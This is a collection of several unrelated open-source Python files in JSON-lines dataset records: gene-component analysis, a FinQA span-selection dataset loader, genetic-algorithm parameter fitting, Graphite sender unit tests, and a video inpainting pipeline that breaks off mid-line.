edgelist=edges_to_draw,\n\t\t\t\t\t\t\t\t\t\tedge_labels=edge_labels_pear,label_pos=0.5,\n\t\t\t\t\t\t\t\t\t\tfont_weight='bold')\n\t### End of test for dashed edges\n\t\n\t\n\tplt.ylabel('Decomposition Order',weight='bold',fontsize=18)\n\tplt.yticks(np.arange(0, max_dim+5, 5),labels=np.arange(0, max_dim+5, 5), fontsize=14, fontweight='bold')\n\tplt.grid(axis='y', linestyle='--')\n\tplt.grid(b=None,axis='x')\n\t#plt.sci(edges_border) \n\tplt.sci(edges_fig)\n\tif edge_select == \"Signature_correlation\":\n\t\tplt.colorbar().set_label(\"Edges Average \"+signature+\" correlation\",weight='bold',fontsize=18)\n\telif edge_select == \"Pearson_correlation\":\n\t\tplt.colorbar().set_label(\"Edges Pearson correlation\",weight='bold',fontsize=18)\n\tplt.gci().set_cmap(edge_cmap)\n\tplt.sci(nodes_fig)\n\tif len(genes_test)>0:\n\t\tplt.colorbar().set_label(\"Nodes found genes proportion\",weight='bold',fontsize=18)\n\telse:\n\t\tplt.colorbar().set_label(\"Nodes \"+signature+\" correlation\",weight='bold',fontsize=18)\n\tplt.gci().set_cmap(node_cmap)\n\tax.tick_params(left=True, bottom=False, labelleft=True, labelbottom=False)\n\t#ax.collections[1].set_edgecolor(\"#FF0000\")\n\t#ax.collections[0].set_edgecolor(\"#FF0000\") \n\tplt.savefig(file_name+\".svg\")\n\tif show:\n\t\tplt.show()\n\t\n\treturn\n\ndef Orient_component(comp_vect, score_type, threshold):\n\t\n\tif score_type == \"zscore\":\n\t\tcomp_vect_zscr = scipy.stats.zscore(comp_vect)\n\t\ttop_thresh = sum([x for x in comp_vect_zscr if x > threshold])\n\t\tbot_thresh = sum([x for x in comp_vect_zscr if x < -threshold])\n\t\tif abs(top_thresh) > abs(bot_thresh):\n\t\t\treturn comp_vect_zscr\n\t\telse:\n\t\t\treturn comp_vect_zscr * -1\n\telif score_type == \"icascore\":\n\t\tcomp_vect_sort = sorted(comp_vect)\n\t\ttop_thresh = sum(comp_vect_sort[-threshold:])\n\t\tbot_thresh = sum(comp_vect_sort[:threshold])\n\t\tif abs(top_thresh) > abs(bot_thresh):\n\t\t\treturn comp_vect\n\t\telse:\n\t\t\treturn comp_vect * -1\n\telif score_type == \"rank\":\n\t\tcomp_vect_zscr = scipy.stats.zscore(comp_vect)\n\t\ttop_thresh = sum([x for x in comp_vect_zscr if x > threshold])\n\t\tbot_thresh = sum([x for x in comp_vect_zscr if x < -threshold])\n\t\tif abs(top_thresh) > abs(bot_thresh):\n\t\t\tcomp_vect = comp_vect * -1\n\t\t\ttmp = comp_vect.argsort()\n\t\t\tranks = np.empty_like(tmp)\n\t\t\tranks[tmp] = np.arange(len(comp_vect))\n\t\t\treturn ranks + 1\n\t\telse:\n\t\t\ttmp = comp_vect.argsort()\n\t\t\tranks = np.empty_like(tmp)\n\t\t\tranks[tmp] = np.arange(len(comp_vect))\n\t\t\treturn ranks + 1\n\telse:\n\t\tprint(\"Wrong score type input... Input untouched!\")\n\t\treturn comp_vect\n\ndef Compute_average_segments(graph_full, graph_simple, score_type, threshold, datafolder, job):\n\t\n\t# Load gene names\n\tgenes_pd = pd.read_csv(datafolder+\"/\"+job+\"_genes.txt\", sep='\\t')\n\t# Extract full component paths from NetworkX graph\n\tgraph_full_fcp = nx.weakly_connected_components(graph_full)\n\tgraph_simple_fcp = nx.connected_components(graph_simple)\n\t# Loop over segments\n\tprint(\"Computing average scores...\")\n\tseg_average_list = []\n\tfor segment in graph_full_fcp:\n\t\tseg_all_vect = []\n\t\t# Loop over components\n\t\tfor component in segment:\n\t\t\ttmp = component.split(\"C_\")\n\t\t\tcomp = int(tmp[0])\n\t\t\tIC = int(tmp[1])\n\t\t\tX = np.load(job+\"_deconvolutions/\"+job+\"_S_matrix_C\"+str(comp)+\".npy\")\n\t\t\tIC_vect = X[:,IC-1]\n\t\t\tseg_all_vect.append(IC_vect)\n\t\t# Compute average\n\t\tsum_vect = np.zeros(len(seg_all_vect[0]))\n\t\tfor vect in seg_all_vect:\n\t\t\t# Orient the component based on score type and threshold\n\t\t\torient_average_vect = Orient_component(vect, score_type, threshold)\n\t\t\t# Add the oriented score into the list\n\t\t\tsum_vect += orient_average_vect\n\t\t# Average the list of scores\n\t\taverage_sum_vect = sum_vect/(len(segment))\n\t\t\n\t\tif score_type == \"rank\":\n\t\t\taverage_sum_vect = np.rint(average_sum_vect)\n\t\t\n\t\tseg_average_list.append(average_sum_vect)\n\t# Get segment simplified names\n\tsegment_simple_names_list = []\n\tfor segment in graph_simple_fcp:\n\t\tcomp_pair = []\n\t\tfor comp in segment:\n\t\t\tcomp_pair.append(comp)\n\t\tcomp1 = comp_pair[0].split(\"C_\")[0]\n\t\tcomp2 = comp_pair[1].split(\"C_\")[0]\n\t\tif int(comp1) < int(comp2):\n\t\t\tsegment_simple_names_list.append(comp_pair[0]+\"to\"+comp_pair[1])\n\t\telse:\n\t\t\tsegment_simple_names_list.append(comp_pair[1]+\"to\"+comp_pair[0])\n\n\tprint(\"Saving results...\")\n\t# Store the components in a pandas table for export\n\taverage_segment_pd = pd.DataFrame.from_dict(dict(zip(segment_simple_names_list, seg_average_list)))\n\t#print(average_segment_pd[segment_simple_names_list[0]])\n\taverage_segment_pd.index = genes_pd[\"Genes\"].to_list()\n\n\taverage_segment_pd.to_csv('Graphs/'+job+\"_\"+score_type+\"_thresh\"+str(threshold)+\"_average_segments.txt\", sep=\"\\t\", index_label=\"Genes\")\n\tprint(\"Job done!\")\n\t\n\treturn\n\ndef Compute_simplified_normalised_ranks(persist_graph, datafolder, job, threshold=0.0):\n\n\tgenes_pd = pd.read_csv(datafolder+\"/\"+job+\"_genes.txt\", sep='\\t')\n\n\tprint(\"Generating stable ranks...\")\n\tDetailed_persistent_comp = nx.weakly_connected_components(persist_graph)\n\tSimplified_comp_dict = {}\n\tfor persistent_comp in Detailed_persistent_comp:\n\t\t# Get simplified persistent component name\n\t\tdim_list = []\n\t\tcomp_list = []\n\t\tfor comp in persistent_comp:\n\t\t\tcomp_list.append(comp)\n\t\t\tdim_list.append(int(comp.split(\"C_\")[0]))\n\t\tdim_min = min(dim_list)\n\t\tdim_max = max(dim_list)\n\t\tsimp_comp = str(comp_list[dim_list.index(dim_min)])+\"_to_\"+str(comp_list[dim_list.index(dim_max)])\n\t\t#print(simp_comp)\n\n\t\tAll_comp_array = []\n\t\tfor comp in persistent_comp:\n\t\t\ttmp = comp.split(\"C_\")\n\t\t\torder = tmp[0]\n\t\t\tN = tmp[1]\n\t\t\tC = np.load(job+\"_deconvolutions/\"+job+\"_S_matrix_C\"+str(order)+\".npy\")\n\t\t\tica_score_comp = C[:,int(N)-1]\n\t\t\tAll_comp_array.append(ica_score_comp)\n\t\t\t#print(ica_score_comp)\n\t\tAll_comp_array = np.array(All_comp_array)\n\n\t\t# Get ranks of components in ascending order: most negative = 1, most positive = max_len\n\t\tAll_comp_array_rank = []\n\t\tfor comp in range(len(All_comp_array)):\n\t\t\ttmp = All_comp_array[comp].argsort()\n\t\t\tranks = np.empty_like(tmp)\n\t\t\tranks[tmp] = np.arange(len(All_comp_array[comp]))\n\t\t\tranks = ranks + 1\n\t\t\tAll_comp_array_rank.append(ranks)\n\n\t\tAll_comp_array_rank = np.array(All_comp_array_rank)\n\n\t\tAll_comp_array_rank_norm = preprocessing.minmax_scale(All_comp_array_rank, feature_range=(-1, 1), axis=1)\n\t\t# Simplify normalised ranks to -1, 0 or +1 based on the set threshold\n\t\tAll_comp_array_rank_norm_clean = np.where(All_comp_array_rank_norm >= -threshold, All_comp_array_rank_norm, -1)\n\t\tAll_comp_array_rank_norm_clean = np.where(All_comp_array_rank_norm_clean <= threshold, All_comp_array_rank_norm_clean, 1)\n\t\tAll_comp_array_rank_norm_clean = np.where((All_comp_array_rank_norm_clean > -threshold) ^ (All_comp_array_rank_norm_clean < threshold), All_comp_array_rank_norm_clean, 0)\n\t\t# Find genes that are not only -1 or +1\n\t\tall_neg = np.all(All_comp_array_rank_norm_clean == -1, axis=0)\n\t\tall_pos = np.all(All_comp_array_rank_norm_clean == 1, axis=0)\n\t\tnot_interest = ~all_neg & ~all_pos\n\t\t# Calculate mean normalised rank for only positive or negative and put 0 for rest\n\t\tMean_norm_rank_cleaned = All_comp_array_rank_norm.mean(0)\n\t\t# Put all non stable values to zero\n\t\tMean_norm_rank_cleaned[not_interest] = int(0)\n\t\tSimplified_comp_dict[simp_comp] = Mean_norm_rank_cleaned\n\n\tprint(\"Saving file...\")\n\tSimplified_norm_ranks_df = pd.DataFrame.from_dict(Simplified_comp_dict)\n\tSimplified_norm_ranks_df.index = genes_pd[\"Genes\"].to_list()\n\tSimplified_norm_ranks_df.to_csv('Graphs/'+job+\"_thresh_\"+str(threshold)+\"_average_stability_persistent_components.txt\",\n\t\t\t\t\t\t\t\t\tsep=\"\\t\", index_label=\"Genes\", float_format='%.5f')\n\tprint(\"Done!\")\n\treturn\n","repo_name":"NicolasSompairac/HACK","sub_path":"hack/tree_analysis.py","file_name":"tree_analysis.py","file_ext":"py","file_size_in_byte":18511,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"1192960328","text":"from torch.utils.data import Dataset\nfrom transformers import AutoTokenizer\nimport constants\nfrom models.utlis.utils import get_op_const_list\nimport json\nimport torch\nfrom typing import Dict, List, Any, Union\n\nclass SpanSelectionDataset(Dataset):\n def __init__(self,data_file,transformer_model_name,is_training,entity_name: str = \"question_type\"):\n self.data_file = data_file\n self.transformer_model_name = transformer_model_name\n self.tokenizer = AutoTokenizer.from_pretrained(self.transformer_model_name)\n self.max_seq_length = constants.max_seq_length #### add to constant as 30 if not in training config \n self.is_training=is_training\n self.entity_name = entity_name\n self.data_all = self.read()\n self.instances = self.get_features()\n \n def read(self):\n with open(self.data_file) as f:\n data_all = json.load(f)\n return data_all\n\n def get_features(self): \n examples = []\n features_all=[]\n for example in self.data_all:\n features = self.convert_example_to_feature(example)\n features_all.append(features)\n if example:\n examples.append(example)\n return features_all\n\n def __getitem__(self, idx: int):\n return self.instances[idx]\n\n def __len__(self):\n return len(self.instances)\n \n def convert_example_to_feature(self,example):\n \n if example[\"qa\"][self.entity_name] != \"span_selection\":\n return None\n \n #Getting the retrieved facts by fact retriever model\n context = \"\"\n for idx in example[\"model_input\"]:\n if type(idx) == int:\n context += example[\"paragraphs\"][idx][:-1]\n context += \" \"\n\n else:\n context += example[\"table_description\"][idx][:-1]\n context += \" \"\n \n question = example[\"qa\"][\"question\"]\n this_id = example[\"uid\"]\n \n #context from FR model is concatted with question\n original_question = f\"Question: {question} Context: {context.strip()}\"\n if \"answer\" in example[\"qa\"]:\n answer = example[\"qa\"][\"answer\"]\n else:\n answer = \"\"\n if type(answer) != str:\n answer = str(int(answer))\n\n original_question_tokens = original_question.split(' ')\n example ={\n \"id\":this_id,\n \"original_question\":original_question,\n \"question_tokens\":original_question_tokens,\n \"answer\":answer\n }\n return self.concatetnating(example)\n\n def concatetnating(self,example):\n #encoding of original question quesion after tokenizing\n input_text_encoded = self.tokenizer.encode_plus(example[\"original_question\"],\n max_length=self.max_seq_length,\n pad_to_max_length=True)\n input_ids = input_text_encoded[\"input_ids\"]\n input_mask = input_text_encoded[\"attention_mask\"]\n #encoding of original label after tokenizing\n label_encoded = self.tokenizer.encode_plus(str(example[\"answer\"]),\n max_length=16,\n pad_to_max_length=True)\n label_ids = label_encoded[\"input_ids\"]\n \n this_input_feature = {\n \"uid\": example.id,\n \"tokens\": example.question_tokens,\n \"question\": example.original_question,\n \"input_ids\": input_ids,\n \"input_mask\": input_mask,\n \"label_ids\": label_ids,\n \"label\": str(example.answer) \n }\n return this_input_feature\n\ndef customized_collate_fn(examples: List[Dict[str, Any]]) -> Dict[str, Any]:\n result_dict = {}\n for k in examples[0].keys():\n try:\n result_dict[k] = right_pad_sequences([torch.tensor(ex[k]) for ex in examples], \n batch_first=True, padding_value=0)\n except:\n result_dict[k] = [ex[k] for ex in examples]\n return result_dict\n\n \n#helper to collate function\ndef right_pad_sequences(sequences: List[torch.Tensor], batch_first: bool = True, padding_value: Union[int, bool] = 0, \n max_len: int = -1, device: torch.device = None) -> torch.Tensor:\n assert all([len(seq.shape) == 1 for seq in sequences])\n max_len = max_len if max_len > 0 else max(len(s) for s in sequences)\n device = device if device is not None else sequences[0].device\n\n padded_seqs = []\n for seq in sequences:\n padded_seqs.append(torch.cat(seq, (torch.full((max_len - seq.shape[0],), padding_value, dtype=torch.long).to(device))))\n return torch.stack(padded_seqs)","repo_name":"thewhiteflower110/Fact-Retrieval-Augmentation-for-FinQA","sub_path":"data/span_daata.py","file_name":"span_daata.py","file_ext":"py","file_size_in_byte":4766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"7930218836","text":"import argparse\n\nfrom src.genetic import *\nfrom src.utils import *\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--config', '-p', type=str, default='config', help='path to the folder with parameters and configurations') \n parser.add_argument('--data', '-d', type=str, default='data', help='path to the data folder')\n \n args = parser.parse_args()\n data_folder = args.data\n parameter_folder = args.config\n \n basic_loader = ParamsLoader(parameter_folder)\n #parse the parameters of the genetic algorithm\n gens_num, gen_size, model_type, participants, metrics, n_metrics, lca_model = GA_ParamsLoader(parameter_folder).load('ga_parameters')\n #parameters of simulation\n trial_length, n_trials, desired_res = basic_loader.load('slca_parameters_sim').values()\n data = DataLoader(data_folder, desired_res)\n #parse the parameters range of the SLCA\n params_range = SLCA_ParamsRangeLoader(parameter_folder).load('slca_parameters_range')\n \n #parse the initial parameters of the SLCA\n params_init = SLCA_ParamsInitLoader(parameter_folder).load('slca_parameters_init')\n #parse fixed parameters of the SLCA\n fixed_parameters = SLCA_ParamsFixedLoader(parameter_folder).load('slca_parameters_fixed')\n \n #initialize the genetic algorithm\n ga = GA(gen_size=gen_size, params_range=params_range, fixed=fixed_parameters,\n param_to_index=basic_loader.all_params, index_to_param={v:k for k,v in basic_loader.all_params.items()},\n data=data, participants=participants, metrics=metrics, n_metrics=n_metrics, lca_model=lca_model,\n trial_length=trial_length, n_trials=n_trials)\n #initial parameter sets\n params = np.zeros(shape=(gens_num, gen_size, len(basic_loader.all_params)))\n print('init_params', params.shape)\n params[0] = ga.first_gen()\n \n for i, param_set in enumerate(params_init):\n params[0, i, list(param_set.keys())] = list(param_set.values())\n \n #start optimization\n for g in range(1, gens_num):\n print(f'GENERATION {g}/{gens_num}')\n try:\n params[g] = ga.next_gen(g, params[g-1])\n print(f'GENERATION {g} RES {list(params[g])}')\n except Exception as e:\n print(\"!!! Exception\", str(e))\n ","repo_name":"rainsummer613/slca","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"84583489","text":"import mock\nimport pytest\n\nfrom crypta.lib.python.graphite import sender\nfrom crypta.lib.python.graphite.sender import schemas\nimport conftest\n\nTOKEN = \"token\"\n\n\ndef mock_swagger(requests):\n class MockSwagger(object):\n def __init__(self, url, token):\n self.metric = MockAPIMetric(requests)\n assert TOKEN == token\n\n class MockAPIMetric(object):\n def __init__(self, requests):\n self.requests = requests\n\n def report(self, frequency, hostname, group, name, value, timestamp):\n request = self.requests.pop(0)\n assert request == (frequency, hostname, group, name, value, timestamp)\n return MockReport()\n\n class MockReport(object):\n def __init__(self):\n pass\n\n def result(self, **kwargs):\n pass\n\n return mock.patch(\"crypta.lib.python.graphite.sender.swagger\", side_effect=MockSwagger)\n\n\n@pytest.mark.parametrize(\"kwargs,metrics,requests\", [\n (\n {\"root_path\": \"root.path\"},\n [(\"m1\", 123123), (\"long.metric\", 12937, None)],\n [\n (\"ONE_MIN\", conftest.NORMALIZED_FQDN, \"root.path\", \"m1\", 123123, conftest.TIMESTAMP_INT),\n (\"ONE_MIN\", conftest.NORMALIZED_FQDN, \"root.path\", \"long.metric\", 12937, conftest.TIMESTAMP_INT)\n ]\n ),\n (\n {\"root_path\": \"root.path\"},\n [],\n []\n ),\n (\n {\"fqdn\": \"f.q.d.n\", \"root_path\": \"root.path\"},\n [(\"metric1\", 1, 1500000000), (\"metric.2\", 2, 1400000000)],\n [\n (\"ONE_MIN\", \"f_q_d_n\", \"root.path\", \"metric1\", 1, 1500000000),\n (\"ONE_MIN\", \"f_q_d_n\", \"root.path\", \"metric.2\", 2, 1400000000),\n ]\n ),\n (\n {\"fqdn\": \"f.q.d.n\", \"schema\": schemas.ONE_SEC, \"root_path\": \"root.path\"},\n [(\"metric1\", 1, 1500000000), (\"metric.2\", 2, 1400000000)],\n [\n (\"ONE_SEC\", \"f_q_d_n\", \"root.path\", \"metric1\", 1, 1500000000),\n (\"ONE_SEC\", \"f_q_d_n\", \"root.path\", \"metric.2\", 2, 1400000000),\n ]\n ),\n (\n {\"root_path\": \"root.path\", \"timestamp\": 1500000000},\n [(\"metric1\", 1), (\"metric.2\", 2, 1400000000)],\n [\n (\"ONE_MIN\", conftest.NORMALIZED_FQDN, \"root.path\", \"metric1\", 1, 1500000000),\n (\"ONE_MIN\", conftest.NORMALIZED_FQDN, \"root.path\", \"metric.2\", 2, 1400000000)\n ]\n )\n])\ndef test_send_metrics(kwargs, metrics, requests, mock_time, mock_getfqdn):\n with mock_swagger(requests), mock_time, mock_getfqdn:\n graphite_sender = sender.CryptaAPIGraphiteSender(TOKEN)\n graphite_sender.send_metrics(metrics, **kwargs)\n assert requests == []\n\n\ndef test_send_metrics_fail_with_no_root_path(mock_time, mock_getfqdn):\n with mock_swagger([]), mock_time, mock_getfqdn:\n graphite_sender = sender.CryptaAPIGraphiteSender(TOKEN)\n\n with pytest.raises(Exception):\n graphite_sender.send_metrics((\"name\", 1))\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"crypto/test/test_crypta_api_graphite_sender.py","file_name":"test_crypta_api_graphite_sender.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9017877114","text":"import os\nimport importlib\nimport glob\nimport time\n\nimport numpy as np\nimport cv2\nimport torch\nfrom torchvision import transforms as T\nfrom skimage.io import imsave\n\nfrom tqdm import tqdm\nfrom PIL import Image\n\nimport sys\nfrom detectron2.config import get_cfg\nfrom detectron2.engine import DefaultPredictor\n\nsys.path.append('/home/akannan2/inpainting/E2FGVI/')\nfrom core.utils import to_tensors\n\nsys.path.append('/home/akannan2/inpainting/EgoHOS/mmsegmentation/')\nfrom mmseg.apis import inference_segmentor, init_segmentor\n\ndef get_human_cfg():\n config_file = '/home/akannan2/inpainting/detectron2/configs/COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml'\n weights = 'detectron2://COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x/137849600/model_final_f10217.pkl'\n confidence_threshold = 0.5\n\n cfg = get_cfg()\n cfg.merge_from_file(config_file)\n\n cfg.MODEL.WEIGHTS = weights\n cfg.MODEL.RETINANET.SCORE_THRESH_TEST = confidence_threshold\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = confidence_threshold\n cfg.MODEL.PANOPTIC_FPN.COMBINE.INSTANCES_CONFIDENCE_THRESH = confidence_threshold\n cfg.freeze()\n return cfg\n\ndef get_robot_cfg():\n config_file = '/home/akannan2/inpainting/detectron2/configs/COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml'\n weights = '/home/akannan2/inpainting/detectron2/output/model_final.pth'\n confidence_threshold = 0.7\n \n cfg = get_cfg()\n cfg.merge_from_file(config_file)\n\n cfg.MODEL.WEIGHTS = weights\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = confidence_threshold\n cfg.MODEL.ROI_HEADS.NUM_CLASSES = 1\n return cfg\n\n\ndef get_segmentation_model(cfg, rank=None):\n if rank is not None:\n cfg.MODEL.DEVICE = f'cuda:{rank}'\n predictor = DefaultPredictor(cfg)\n return predictor\n\ndef get_inpaint_model(args, rank=None):\n # set up models\n if rank is not None:\n device = torch.device(f'cuda:{rank}')\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n net = importlib.import_module('model.' + args.model)\n model = net.InpaintGenerator().to(device)\n data = torch.load(args.ckpt, map_location=device)\n model.load_state_dict(data)\n print(f'Loading model from: {args.ckpt}')\n model.eval()\n\n return model\n\ndef get_ref_index(f, neighbor_ids, length, ref_length, num_ref):\n ref_index = []\n if num_ref == -1:\n for i in range(0, length, ref_length):\n if i not in neighbor_ids:\n ref_index.append(i)\n else:\n start_idx = max(0, f - ref_length * (num_ref // 2))\n end_idx = min(length, f + ref_length * (num_ref // 2))\n for i in range(start_idx, end_idx + 1, ref_length):\n if i not in neighbor_ids:\n if len(ref_index) > num_ref:\n break\n ref_index.append(i)\n return ref_index\n\n# resize frames\ndef resize_frames(frames, size=None):\n if size is not None:\n frames = [f.resize(size) for f in frames]\n else:\n size = frames[0].size\n return frames, size\n\ndef process_masks(masks, size = None):\n masks_expanded = []\n for mask in masks:\n if mask.shape[0] == 0:\n m = np.zeros(size).astype(np.uint8)\n else:\n m = np.clip(mask.cpu().numpy().astype(np.uint8).sum(axis=0), 0, 1)\n\n m = Image.fromarray(np.uint8(m), mode='L')\n m = m.resize(size, Image.NEAREST)\n\n m = np.array(m)\n m = np.array(m > 0).astype(np.uint8)\n masks_expanded.append(Image.fromarray(m * 255))\n\n return masks_expanded\n\ndef get_segmented_frames(video_frames, model, model_name, human_filter=False):\n resolution = None\n if model_name == 'e2fgvi_hq':\n height, width = video_frames[0].shape[0], video_frames[0].shape[1]\n downsample_resolution_factor = max(width // 400 + 1, height // 400 + 1)\n resolution = width // downsample_resolution_factor, height // downsample_resolution_factor\n\n if resolution:\n frames = [cv2.resize(frame, dsize=resolution, interpolation=cv2.INTER_CUBIC) for frame in video_frames]\n else:\n frames = video_frames\n\n frames_info = [model(frame) for frame in frames]\n masks = []\n for i in range(len(frames_info)):\n if not human_filter:\n masks.append(frames_info[i]['instances'].pred_masks)\n else:\n human_masks = []\n for j, cls_id in enumerate(frames_info[i]['instances'].pred_classes):\n if cls_id == 0:\n hmask = frames_info[i]['instances'].pred_masks[j]\n struct_element = cv2.getStructuringElement(cv2.MORPH_CROSS, (3, 3))\n hmask_processed = cv2.dilate(hmask.cpu().numpy().astype(np.uint8), struct_element, iterations=2).astype(np.bool)\n hmask_processed = torch.Tensor(hmask_processed).to(hmask.device)\n human_masks.append(hmask_processed)\n\n if len(human_masks) == 0:\n masks.append(torch.Tensor(human_masks))\n else:\n masks.append(torch.stack(human_masks))\n \n return frames, masks\n\ndef inpaint_wrapper(args, states, cfg, rank):\n chunksize = states.shape[0] // args.num_gpus\n start = chunksize * rank\n if rank == args.num_gpus - 1:\n end = states.shape[0]\n else:\n end = start + chunksize\n \n inpaint_model = get_inpaint_model(args, rank)\n segment_model = get_segmentation_model(cfg, rank)\n inpainted_states = []\n for i in tqdm(range(start, end)):\n res = inpaint(args, inpaint_model, segment_model, states[i], rank)\n inpainted_states.append(res)\n\n return np.array(inpainted_states)\n\ndef inpaint(args, inpaint_model, segment_model, video_frames, rank=None):\n if rank is not None:\n device = torch.device(f\"cuda:{rank}\")\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n if args.model == \"e2fgvi\":\n size = (432, 240)\n elif args.set_size:\n size = (args.width, args.height)\n else:\n size = None\n\n # prepare datset\n frames, masks = get_segmented_frames(video_frames, segment_model, args.model, human_filter=True)\n frames = [Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB), mode='RGB') for frame in frames]\n\n frames, size = resize_frames(frames, size)\n h, w = size[1], size[0]\n video_length = len(frames)\n imgs = to_tensors()(frames).unsqueeze(0) * 2 - 1\n frames = [np.array(f).astype(np.uint8) for f in frames]\n\n masks = process_masks(masks, size)\n binary_masks = [\n np.expand_dims((np.array(m) != 0).astype(np.uint8), 2) for m in masks\n ]\n masks = to_tensors()(masks).unsqueeze(0)\n imgs, masks = imgs.to(device), masks.to(device)\n comp_frames = [None] * video_length\n\n # completing holes by e2fgvi\n for f in range(0, video_length, args.neighbor_stride):\n neighbor_ids = [\n i for i in range(max(0, f - args.neighbor_stride),\n min(video_length, f + args.neighbor_stride + 1))\n ]\n ref_ids = get_ref_index(f, neighbor_ids, video_length, ref_length=args.step, num_ref=args.num_ref)\n selected_imgs = imgs[:1, neighbor_ids + ref_ids, :, :, :]\n selected_masks = masks[:1, neighbor_ids + ref_ids, :, :, :]\n with torch.no_grad():\n masked_imgs = selected_imgs * (1 - selected_masks)\n mod_size_h = 60\n mod_size_w = 108\n h_pad = (mod_size_h - h % mod_size_h) % mod_size_h\n w_pad = (mod_size_w - w % mod_size_w) % mod_size_w\n masked_imgs = torch.cat(\n [masked_imgs, torch.flip(masked_imgs, [3])],\n 3)[:, :, :, :h + h_pad, :]\n masked_imgs = torch.cat(\n [masked_imgs, torch.flip(masked_imgs, [4])],\n 4)[:, :, :, :, :w + w_pad]\n pred_imgs, _ = inpaint_model(masked_imgs, len(neighbor_ids))\n pred_imgs = pred_imgs[:, :, :h, :w]\n pred_imgs = (pred_imgs + 1) / 2\n pred_imgs = pred_imgs.cpu().permute(0, 2, 3, 1).numpy() * 255\n for i in range(len(neighbor_ids)):\n idx = neighbor_ids[i]\n img = np.array(pred_imgs[i]).astype(\n np.uint8) * binary_masks[idx] + frames[idx] * (\n 1 - binary_masks[idx])\n if comp_frames[idx] is None:\n comp_frames[idx] = img\n else:\n comp_frames[idx] = comp_frames[idx].astype(\n np.float32) * 0.5 + img.astype(np.float32) * 0.5\n \n ret_frames = []\n for f in range(video_length):\n comp = comp_frames[f].astype(np.uint8)\n ret_frames.append(cv2.cvtColor(comp, cv2.COLOR_BGR2RGB))\n\n return ret_frames\n\n\n\"\"\" EGOHOS functions below \"\"\"\ndef get_segmentation_model_egohos(rank=None):\n if rank is not None:\n device = torch.device(f\"cuda:{rank}\")\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n config_file = '/home/akannan2/inpainting/EgoHOS/mmsegmentation/work_dirs/seg_twohands_ccda/seg_twohands_ccda.py'\n checkpoint_file = '/home/akannan2/inpainting/EgoHOS/mmsegmentation/work_dirs/seg_twohands_ccda/best_mIoU_iter_56000.pth'\n model = init_segmentor(config_file, checkpoint_file, device=device)\n\n return model\n\ndef segment_video(reader, model, video_path, catchBadMasks=False):\n height, width = reader[0].shape[0], reader[0].shape[1]\n downsample_resolution_factor = max(width // 400 + 1, height // 400 + 1)\n resolution = width // downsample_resolution_factor, height // downsample_resolution_factor\n \n video_dir = os.path.join(video_path, 'tmp')\n video_image_dir = os.path.join(video_dir, 'images')\n os.makedirs(video_image_dir, exist_ok = True)\n frames = []\n for num, image in tqdm(enumerate(reader), total=len(reader)):\n save_img_file = os.path.join(video_image_dir, str(num).zfill(8)+'.png')\n image = cv2.resize(image, dsize=resolution, interpolation=cv2.INTER_CUBIC).astype(np.uint8)\n frames.append(image)\n imsave(save_img_file, image)\n\n print('Segmenting video frames......')\n masks = []\n for file in tqdm(sorted(glob.glob(video_image_dir + '/*'))):\n seg_result = inference_segmentor(model, file)[0]\n masks.append(seg_result.astype(np.uint8))\n\n masks = [(mask > 0).astype(np.uint8) for mask in masks]\n dilate = lambda m : cv2.dilate(m, cv2.getStructuringElement(cv2.MORPH_CROSS, (5, 5)), iterations=5)\n masks = [dilate(mask) for mask in masks]\n\n os.system('rm -rf ' + video_dir)\n\n # check criterion for if segmentation is good\n if catchBadMasks:\n zeroOrOne = lambda x : 1 if x > 0 else 0\n mask_exists = [zeroOrOne(np.sum(mask)) for mask in masks]\n if sum(mask_exists) / len(mask_exists) < 0.5:\n print('Bad segmentation for video')\n\n masks = [torch.from_numpy(mask) for mask in masks]\n\n return frames, masks\n\ndef inpaint_egohos(args, inpaint_model, segment_model, video_frames, rank=None):\n if rank is not None:\n device = torch.device(f\"cuda:{rank}\")\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n if args.model == \"e2fgvi\":\n size = (432, 240)\n elif args.set_size:\n size = (args.width, args.height)\n else:\n size = None\n\n # prepare datset\n frames, masks = segment_video(video_frames, segment_model, args.demo_path, catchBadMasks=True)\n masks = [torch.tensor(mask, dtype=torch.float, device=device) for mask in masks]\n masks = [mask.expand(3, -1, -1) for mask in masks]\n frames = [Image.fromarray(frame, mode='RGB') for frame in frames]\n\n frames, size = resize_frames(frames, size)\n h, w = size[1], size[0]\n video_length = len(frames)\n imgs = to_tensors()(frames).unsqueeze(0) * 2 - 1\n frames = [np.array(f).astype(np.uint8) for f in frames]\n\n masks = process_masks(masks, size)\n binary_masks = [\n np.expand_dims((np.array(m) != 0).astype(np.uint8), 2) for m in masks\n ]\n masks = to_tensors()(masks).unsqueeze(0)\n imgs, masks = imgs.to(device), masks.to(device)\n comp_frames = [None] * video_length\n\n # completing holes by e2fgvi\n for f in tqdm(range(0, video_length, args.neighbor_stride)):\n neighbor_ids = [\n i for i in range(max(0, f - args.neighbor_stride),\n min(video_length, f + args.neighbor_stride + 1))\n ]\n ref_ids = get_ref_index(f, neighbor_ids, video_length, ref_length=args.step, num_ref=args.num_ref)\n selected_imgs = imgs[:1, neighbor_ids + ref_ids, :, :, :]\n selected_masks = masks[:1, neighbor_ids + ref_ids, :, :, :]\n with torch.no_grad():\n masked_imgs = selected_imgs * (1 - selected_masks)\n mod_size_h = 60\n mod_size_w = 108\n h_pad = (mod_size_h - h % mod_size_h) % mod_size_h\n w_pad = 